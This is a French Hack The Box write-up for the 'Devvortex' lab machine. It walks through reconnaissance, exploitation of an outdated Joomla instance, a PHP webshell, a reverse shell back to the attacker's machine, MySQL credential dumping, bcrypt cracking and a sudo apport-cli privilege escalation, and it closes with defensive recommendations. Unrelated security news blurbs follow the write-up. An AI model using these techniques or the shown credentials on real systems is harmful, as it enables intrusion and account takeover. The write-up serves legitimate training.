Je vous propose dans cet article la résolution de la machine Hack The Box Devvortex de difficulté "Facile". Cette box est accessible via cette page.
Hack The Box est une plateforme en ligne qui met à disposition des systèmes vulnérables appelées "box". Chaque système est différent et doit être attaqué en adoptant la démarche d'un cyberattaquant. L'objectif est d'y découvrir les vulnérabilités qui nous permettront de compromettre les utilisateurs du système, puis le compte root ou administrateur.
Ces exercices permettent de s’entraîner légalement sur des environnements technologiques divers (Linux, Windows, Active directory, web, etc.), peuvent être utiles pour tous ceux qui travaillent dans la cybersécurité (attaquants comme défenseurs) et sont très formateurs
Je vais ici vous détailler la marche à suivre pour arriver au bout de cette box en vous donnant autant de conseils et ressources que possible. N'hésitez pas à consulter les nombreux liens qui sont présents dans l'article.
Cette solution est publiée en accord avec les règles d'HackThebox et ne sera diffusée que lorsque la box en question sera indiquée comme "Retired".
Pour l'instant, nous ne disposons que de l'adresse IP (10.10.11.242) de notre cible, commençons par un scan réseau à l'aide de l'outil nmap pour découvrir les services exposés sur le réseau, et pourquoi pas leurs versions.
$ nmap --max-retries 1 -T4 -sS -A -v --open -p- -oA nmap-TCPFullVersion 10.10.11.242
Nmap scan report for 10.10.11.242
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://devvortex.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Seuls deux services sont exposés sur le réseau. Nous pouvons également remarquer que l'outil nmap a été interroger le service web et que celui-ci lui a renvoyé une redirection vers http://devvortex.htb/. La commande suivante permet de l'ajouter à notre fichier /etc/hosts pour que notre système puisse le retrouver :
$ echo "10.10.11.242 devvortex.htb" |sudo tee -a /etc/hosts
Il s'agit d'un vhost (voir cet article : Les vHosts sous Apache2). Peut-être le service web en contient-il d'autres, mais comment le savoir ? Ceux-ci ne sont affichés ou indexés nulle part pour le moment. J'utilise donc une technique qui va me permettre d'énumérer les vhosts potentiels à l'aide d'un dictionnaire de mot :
La liste de mot (wordlist) utilisée ici est celle de la ressource SecLists, de Daniel Miessler. J'ai ajouté sur mon système une variable "s" qui contient le chemin d'accès vers ces listes (/usr/share/seclists) pour gagner en efficacité.
Via cette énumération de vhost, l'outil ffuf que j'utilise va effectuer des requêtes en changeant à chaque essai le sous domaine dans la requête suivante, mais en interrogeant toujours la même IP, le même service web :
GET / HTTP/1.1
host: FUZZ.devvortex.htb
En identifiant des variations dans la taille de la réponse, les codes de réponse HTTP ou le nombre de lignes/mots dans la réponse, nous pourrons identifier de nouveaux vhosts existants, car 99% des requêtes obtiendront la même réponse d'erreur, sauf pour les vhost existants. Ici, ffuf nous permet d'identifier le vhost dev.devvortex.htb. Que l'on rajoute également à notre fichier /etc/host :
echo "10.10.11.242 dev.devvortex.htb" |sudo tee -a /etc/hosts
Cela peut paraître contre-intuitif de s'intéresser à l'énumération de vhost plutôt que directement aller se renseigner sur ce que fait l'application web principale qui pourrait elle-même contenir des vulnérabilités. Néanmoins, foncer tête baissée sur la première brèche potentielle ou service croisé est un piège qu'il faut savoir éviter. Respecter une méthodologie est très important, notamment lors des phases d'énumération, afin de ne se fermer aucune porte et d'avoir encore de la matière à travailler lorsque nos premières attaques ne sont pas fructueuses.
Soyez sûr d'avoir toutes les cartes (informations) en main avant d'attaquer.
B. Exploitation d'un Joomla non à jour
Voyons à quoi ressemble ce site web en développement :
Il s'agit visiblement d'un site vitrine, dont l’apparence est plutôt commune. L'utilisation d'un CMS (Content Management System) comme WordPress, Joomla ou Drupal est très probable. Nous pouvons valider la présence de ces CMS par la présence de dossiers ou fichiers qui les caractérisent. Par exemple, le contenu du fichier robots.txt :
$ curl http://dev.devvortex.htb/robots.txt
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
# eg the Disallow rule for the /administrator/ folder MUST
# be changed to read
# Disallow: /joomla/administrator/
#
# For more information about the robots.txt standard, see:
# https://www.robotstxt.org/orig.html
User-agent: *
Disallow: /administrator/
Disallow: /api/
[...]
Pas de doute, il s'agit bien d'un CMS Joomla. En parallèle du déroulement de ma méthodologie propre à Joomla, je lance l'outil nuclei :
Nuclei est un scanner de vulnérabilité web open source très intéressant. Il se compose de nombreux modules créés par la communauté. Chaque module est propre à une fuite d'information, une CVE ou une mauvaise configuration précise. La détection se porte notamment sur la détection de mots-clés dans une réponse ou la présence d'un fichier caractéristique d'une CVE/défaut de configuration.
C'est un outil intéressant à lancer en parallèle des opérations manuelles puisqu'il peut vérifier un grand nombre de choses en peu de temps, même les plus improbables.
Manuellement, je récupère la version de Joomla, là aussi grâce à des fichiers qui contiennent classiquement cette information :
$ curl -s http://dev.devvortex.htb/administrator/manifests/files/joomla.xml | xmllint --format -
<?xml version="1.0" encoding="UTF-8"?>
<extension type="file" method="upgrade">
<name>files_joomla</name>
<author>Joomla! Project</author>
<authorEmail>[email protected]</authorEmail>
<authorUrl>www.joomla.org</authorUrl>
<copyright>(C) 2019 Open Source Matters, Inc.</copyright>
<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
<version>4.2.6</version>
<creationDate>2022-12</creationDate>
La CVE impacte la version 4.2.8 (et probablement les précédentes) et notre version de Joomla est la 4.2.6, voilà qui est intéressant. Il s'agit d'une fuite d'information sans authentification. Si l'on regarde de plus près les résultats de nuclei, il a également remonté cette information (CVE) et nous indique le lien d'accès à la fuite d'information :
Un login et un mot de passe ! Mon premier réflexe est de les essayer sur l'accès SSH, mais ils donnent en fait accès au panel d'administration du Joomla :
L'administrateur du CMS peut naturellement tout faire, même rajouter un plugin qui lui donnera accès à un webshell PHP. Il en existe des prêts à l'emploi sur GitHub : https://github.com/p0dalirius/Joomla-webshell-plugin
Attention, dans un contexte réel de test d'intrusion (au sens prestation de service), évitez d'utiliser des codes tout fait trouvés sur Internet pour ce genre d'opération. Vous n'êtes pas à l'abri d'un malin qui en profiterait pour utiliser cet accès comme une backdoor pour lui-même, ou qui aurait injecté un code destructeur pour le système cible. Vous devez maîtriser les outils utilisés (faire une revue de code avant utilisation, ou faire votre propre plugin).
Je rajoute donc ce plugin, qui me donne accès à un webshell en PHP :
Vous devez vous interroger sur la deuxième commande. Il s'agit en fait d'une commande encodée en base64. Je génère une commande qui l'affiche avec echo, puis qui la décode et enfin qui exécute le résultat obtenu. Cela me permet d'injecter du code "complexe" sans me soucier des quotes, espaces et autres caractères spéciaux. La commande originale (décodée) est la suivante :
Cette commande crée un pipe et établie une connexion réseau vers l'adresse IP 10.10.16.21 sur le port 9001 (ma machine d'attaque), puis redirige un shell interactif vers cette connexion, permettant un accès distant au système.
L'utilisation de l'encodage base64 est une technique très commune et tellement connue que bon nombre de produits de sécurité considèrent maintenant l'utilisation de la commande base64 comme suspecte, ce qui entraîne des alertes de sécurité.
Après avoir mis un netcat en écoute sur le port 9001 de ma machine, je me retrouve donc avec un accès en tant que www-data sur le serveur :
$ nc -lvp 9001
listening on [any] 9001 ...
connect to [10.10.16.21] from devvortex.htb [10.10.11.242] 49096
sh: 0: can't access tty; job control turned off
$ whoami
www-data
D. Vol des identifiants de l'utilisateur logan
Maintenant que nous avons une première main sur le système, intéressons-nous aux processus et services exécutés. J'utilise la commande netstat pour récupérer les services qui ont un port en écoute :
$ netstat -petulan |grep "LISTEN"
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 0 23392 883/nginx: worker p
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN 101 22905 -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 0 24155 -
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN 114 25609 -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN 114 25611 -
tcp6 0 0 :::80 :::* LISTEN 0 23393 883/nginx: worker p
tcp6 0 0 :::22 :::* LISTEN 0 24166 -
Nous voyons, en plus de services que nous connaissons déjà, un service MySQL. Nous avons auparavant récupéré des identifiants que nous pouvons tester sur ce service. Par exemple, pour lister les données de la table "users" du CMS Joomla :
$ mysql -u lewis -p"P4ntherg0t1n5r3c0n##" -e "use joomla; select * from sd4fg_users"
mysql: [Warning] Using a password on the command line interface can be insecure.
id name username email password block sendEmail registerDate lastvisitDate activation params lastResetTime resetCount otpKey otep requireReset authProvider
649 lewis lewis [email protected] $2y$10$6V52x.SD8Xc7hNlVwUTrI.ax4BIAYuhVBMVvnYWRceBmy8XdEzm1u 0 1 2023-09-25 16:44:24 2023-11-26 10:34:39 0 NULL 0 0
650 logan paul logan [email protected] $2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12 0 0 2023-09-26 19:15:42 NULL {"admin_style":"","admin_language":"","language":"","editor":"","timezone":"","a11y_mono":"0","a11y_contrast":"0","a11y_highlight":"0","a11y_font":"0"} NULL 0 0
Nous étions passés à côté de cette information lorsque nous avons eu accès au panel d'administration Joomla, un second utilisateur est présent et nous venons de récupérer le hash de son mot de passe.
Le code d'identification d'un hash, tel que le $2y$, est généralement utilisé pour indiquer l'algorithme de hachage et la version utilisés pour générer l'empreinte. Ici, $2y$ indique que l'empreinte a été générée à l'aide de l'algorithme bcrypt. Il n'est cependant pas obligatoire pour tous les algorithmes.
$ john --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt /tmp/x
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
tequieromucho (?)
1g 0:00:00:05 DONE (2023-11-26 21:55) 0.1834g/s 257.6p/s 257.6c/s 257.6C/s dianita..harry
Use the "--show" option to display all of the cracked passwords reliably
Vous noterez que John The Ripper possède lui aussi sa propre méthode de reconnaissance des hash puisqu'il a deviné tout seul qu'il s'agissait de bcrypt. J'utilise également la wordlist "rockyou.txt" comme dictionnaire pour casser ce mot de passe.
Le fichier "rockyou.txt" est un dictionnaire de mots de passe qui a gagné en notoriété en raison de sa taille et de son utilisation fréquente dans les challenges cybersécurité. Son nom vient du fait qu'il a été créé à partir de données compromises de RockYou. En 2009, cette entreprise a subi une fuite d'information où des millions de mots de passe d'utilisateurs ont été compromis. Les données ont ensuite été rendues publiques sur Internet, et le fichier "rockyou.txt" a été créé en utilisant ces informations.
Il contient 14 344 391 mots de passe couramment utilisés, souvent faibles en complexité.
Nous avons donc le mot de passe de l'utilisateur "logan" sur le CMS Joomla, utilise-t-il également ce mot de passe pour son accès SSH ?
La réponse et oui, sans surprise l'utilisateur réutilise le même mot de passe entre plusieurs services. Nous voilà avec le premier flag et un accès utilisateur au système.
E. Élévation de privilèges via apport-cli et sudo
Quels pourraient être les privilèges et accès spéciaux de l'utilisateur logan ? Je remarque qu'il possède une dérogation d'utilisation de la commande /usr/bin/apport-cli en tant que root via sudo :
logan@devvortex:~$ sudo -l
[sudo] password for logan:
Matching Defaults entries for logan on devvortex:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User logan may run the following commands on devvortex:
(ALL : ALL) /usr/bin/apport-cli
Je ne connais pas du tout cette commande, regardons son aide avec l'option --help:
logan@devvortex:~$ /usr/bin/apport-cli --help
Usage: apport-cli [options] [symptom|pid|package|program path|.apport/.crash file]
Options:
-h, --help show this help message and exit
-f, --file-bug Start in bug filing mode. Requires --package and an
optional --pid, or just a --pid. If neither is given,
display a list of known symptoms. (Implied if a single
argument is given.)
[...]
-v, --version Print the Apport version number.
logan@devvortex:~$ /usr/bin/apport-cli -v
2.20.11
La lecture de l'aide de la commande (tronquée ci-dessus) ainsi que quelques recherches nous font comprendre qu'elle permet de remplir des tickets de bug à destination des développeurs. Elle dispose notamment d'un mode interactif à l'aide de l'option "-f". Nous pouvons également identifier sa version exacte avec l'option "-v". Je découvre que la CVE-2023-1326 (score CVSS3 : 7.8) affecte cette version :
Visiblement, apport-cli utilise less, une commande qui parait simple et inoffensive, mais qui est en réalité dangereuse lorsque utilisée avec sudo. Less dispose, en effet, d'une fonctionnalité d'exécution de commande :
Ressource : https://gtfobins.github.io/ est une excellente ressource à connaitre. Ce site liste les exploitations possibles des binaires connus sous Linux. C'est très utiles pour savoir quelles sont les fonctionnalités "cachées" et dangereuses d'un binaire exécuté via sudo ou un bit setuid (lire/ écrire dans un fichier privilégié ou pour exécuter des commandes). Ce site peut être utile également aux blue teams pour savoir si les binaires utilisés ou présents sur un système présentent un risque.
Le binaire apport-cli est donc exécuté en tant que root via sudo et utilise less, qui présente des exploitations possibles pour exécuter des commandes, voilà qui nous intéresse. La première étape consiste donc à lancer apport-cli via sudo, qui nous demande le mot de passe de logan. Ensuite, on utilise le mode interactif de apport-cli (-f) et un mode "view report" (-v) nous est proposé, c'est certainement à ce moment-là que less intervient :
Et nous voilà avec les droits root sur le système ! L'attaquant peut alors en faire ce qu'il veut, récupérer toutes les données et les identifiants qui y trainent, installer un keylogger ou l'utiliser comme rebond vers le SI interne, après tout, il est root !
III. Résumé de l'attaque
Voici une description de l'attaque réalisée en utilisant les TTP (Tactics, Techniques and Procedures) du framework MITRE ATT&CK :
Exploitation de l'utilisation cachée de less par le binaire apport-cli via sudo
IV. Notions abordées
A. Côté attaquant
L'énumération de vhost peut apparaitre comme une étape secondaire, mais elle doit faire partie de votre méthodologie d'énumération. Il est aujourd'hui rare de croiser un service Apache ne faisant tourner qu'un seul site. L'énumération de vhost peut notamment permettre de trouver des applications web non référencées comme celles en développement.
Il est important pour un attaquant de savoir récupérer le plus d'informations possibles sur sa cible afin d'avoir une vue la plus complète possible de la surface d'attaque d'un système, d'un simple script ou d'un réseau entier. Savoir identifier une version exacte et rechercher les CVE associées peut paraitre simple, mais il est très facile de passer à côté de ce type d'information pendant la phase d'énumération. Phase durant laquelle nous avons en général un grand nombre d'informations à vérifier et à collecter.
La collecte et la récupération d'identifiants est également une opération qui doit être réalisée avec minutie. Je vous recommande pendant vos challenges et prestations de scrupuleusement stocker les identifiants récupérés. Également, il est important de réutiliser ces identifiants sur tous les services croisés. La réutilisation des mots de passe entre différents services est quasiment la norme (malheureusement) en entreprise, sans compter les services de SSO qui sont faits pour n'avoir qu'un mot de passe à retenir. Cela peut sembler simple, mais la collecte d'identifiants étant réalisée tout au long de l'attaque, il est facile d'oublier de réutiliser ceux-ci sur tous les services disponibles.
Enfin, connaitre les bonnes ressources est primordiale. Vu le nombre d'informations stockées sur https://gtfobins.github.io/, vous constaterez vite qu'il est impossible de tout retenir et encore moins de se maintenir à jour. Plutôt que de retenir 1 000 informations, il est parfois plus efficace se rappeler les sources où les trouver.
B. Côté défenseur
Pour sécuriser ce système, nous pouvons proposer plusieurs recommandations :
Recommandation n°1 : nous pouvons recommander l'application stricte de la directive n°34 du Guide d'hygiène de l'ANSSI : Définir une politique de mise à jour des composants du système d’information. Les applicatifs et systèmes exposés sur le réseau ou sur Internet sont d'autant plus concernés par ce besoin de mise à jour rapide puisqu'ils peuvent être exploités par les attaquants dès la parution d'un code d'exploitation.
Recommandation n°2 : il doit également être recommandé d'utiliser un autre serveur web que le serveur web de production, exposé à internet, pour héberger le site web en développement. Les services en développement sont souvent moins bien protégés et sécurisés que les services en production (la sécurité est souvent le dernier wagon à être rattaché à un projet). Ces environnements en développement sont dans la réalité des cibles très recherchées par les attaquants et ne doivent donc pas être exposés à Internet et être strictement cloisonnés des services et réseau de production.
Recommandation n°3 : Il peut également être recommandé la mise en place d'une politique de mot de passe plus robuste. Pouvoir casser un hash, généré par algorithme de calcul robuste comme bcrypt, en quelques secondes via la wordlist la plus commune est un signal fort que les mots de passe utilisateur ne sont pas suffisamment contraints dans leur complexité. Cela va dans le sens de la directive n°10 du Guide d'hygiène de l'ANSSI : Définir et vérifier des règles de choix et de dimensionnement des mots de passe. Le guide Recommandations relatives à l'authentification multifacteur et aux mots de passe, de l'ANSSI, plus spécifique et complet sur ce sujet, peut également être une ressource à conseiller.
V. Conclusion
J’espère que cet article vous a plu ! N'hésitez pas à donner votre avis dans les commentaires ou sur notre Discord :).
Enfin, si vous voulez accéder à des cours et des modules dédiés aux techniques offensives ou défensives et améliorer vos compétences en cybersécurité, je vous oriente vers Hack The Box Academy, utilisez ce lien d'inscription (je gagnerai quelques points ) : Tester Hack the Box Academy
Vous utilisez Dropbox ? Mauvaise nouvelle : un pirate informatique est parvenu à s'introduire sur le système de Dropbox Sign et il a volé des informations correspondantes aux clients de l'entreprise américaine. Faisons le point.
Dropbox est mondialement connue pour son service de stockage et de partage de fichiers en ligne similaire à OneDrive, Google Drive, etc... Pourtant, ce n'est pas le seul service proposé puisqu'il y en a d'autres, notamment Dropbox Sign. Anciennement appelé HelloSign, il s'agit d'un service en ligne de signature électronique. C'est ce service qui est impacté par l'incident de sécurité.
En effet, le 24 avril 2024, Dropbox a détecté un accès non autorisé à l'environnement de production de son service Dropbox Sign. Un pirate est parvenu à mettre la main sur des identifiants valides ! Grâce à ce compte compromis, Dropbox précise que le pirate a pu accéder à la base de données clients.
Cet incident de sécurité affecte uniquement Dropbox Sign : "D'un point de vue technique, l'infrastructure de Dropbox Sign est largement distincte des autres services Dropbox.", peut-on lire sur le site de Dropbox.
Que contient cette base de données ?
Cette base de données contient des informations sensibles au sujet des utilisateurs, dont le nom d'utilisateur, l'adresse e-mail, le numéro de téléphone, ainsi que le mot de passe du compte. Le précieux sésame n'est pas accessible directement en clair, car une fonction de hachage cryptographique est utilisée avant de stocker l'information.
Ce n'est pas tout ! Le cybercriminel a pu également accéder aux réglages du compte, aux données liées à l'authentification multifacteurs, aux clés d'API et aux jetons oAuth. Des informations précieuses pour faire le pont avec d'autres applications et services.
Cette fuite de données concerne aussi les utilisateurs invités, qui n'ont pas forcément un compte Dropbox Sign : "Pour ceux qui ont reçu ou signé un document via Dropbox Sign, mais qui n'ont jamais créé de compte, les adresses électroniques et les noms ont également été exposés.", peut-on lire sur le site de Dropbox.
Comment se protéger ?
Si vous utilisez Dropbox Sign, vous devez changer votre mot de passe dès que possible et effectuer une nouvelle configuration de l'application MFA pour utiliser une nouvelle clé de génération des codes TOTP. Si vous utilisez ce mot de passe sur d'autres sites, nous vous recommandons de le renouveler également.
De son côté, Dropbox a déjà pris des mesures pour protéger les comptes de ses utilisateurs : "En réponse, notre équipe de sécurité a réinitialisé les mots de passe des utilisateurs, déconnecté les utilisateurs de tous les appareils qu'ils avaient connectés à Dropbox Sign, et coordonne la rotation de toutes les clés API et des jetons OAuth."
Enfin, comme toujours, soyez vigilant, car ces informations pourraient être utilisées pour mettre en place une campagne de phishing ciblée.
Une nouvelle mise à jour de Windows 10 et 11 vient causer des problèmes aux utilisateurs. Le dernier patch de sécurité de l’OS a pour effet d’empêcher l’utilisation de VPN. Malheureusement, Microsoft, bien qu’au courant du problème, ne devrait pas le résoudre tout de suite.
L’évolution rapide du panorama européen de la cybersécurité contraint les RSSI à adopter de nouvelles mesures pour protéger leurs organisations et se préparer pour l’avenir. Face à ces problématiques, l’intelligence artificielle et la gestion autonome des endpoints sont les représentants d’une nouvelle génération de solutions qui offriront une protection renforcée et permettront de mener un […]
Dans un écosystème où les fondements de la cybersécurité se trouvent ébranler par les nombreuses attaques informatiques comme celle récemment de France Travail, le Secure Access Service Edge (SASE) s’est tout naturellement imposé comme un allié déterminant d’une approche adéquate, inaugurant une nouvelle ère de la sécurité des réseaux. La révolution SASE est en marche […]
Netwrix, un fournisseur de cybersécurité qui facilite la sécurité des données, annonce la publication de son rapport mondial 2024 sur les tendances en matière de sécurité hybride. Il révèle que depuis un an, 79 % des organisations ont repéré une cyberattaque, contre 68 % en 2023. Aussi, 45 % de ces organisations ont engagé des […]
Connexion
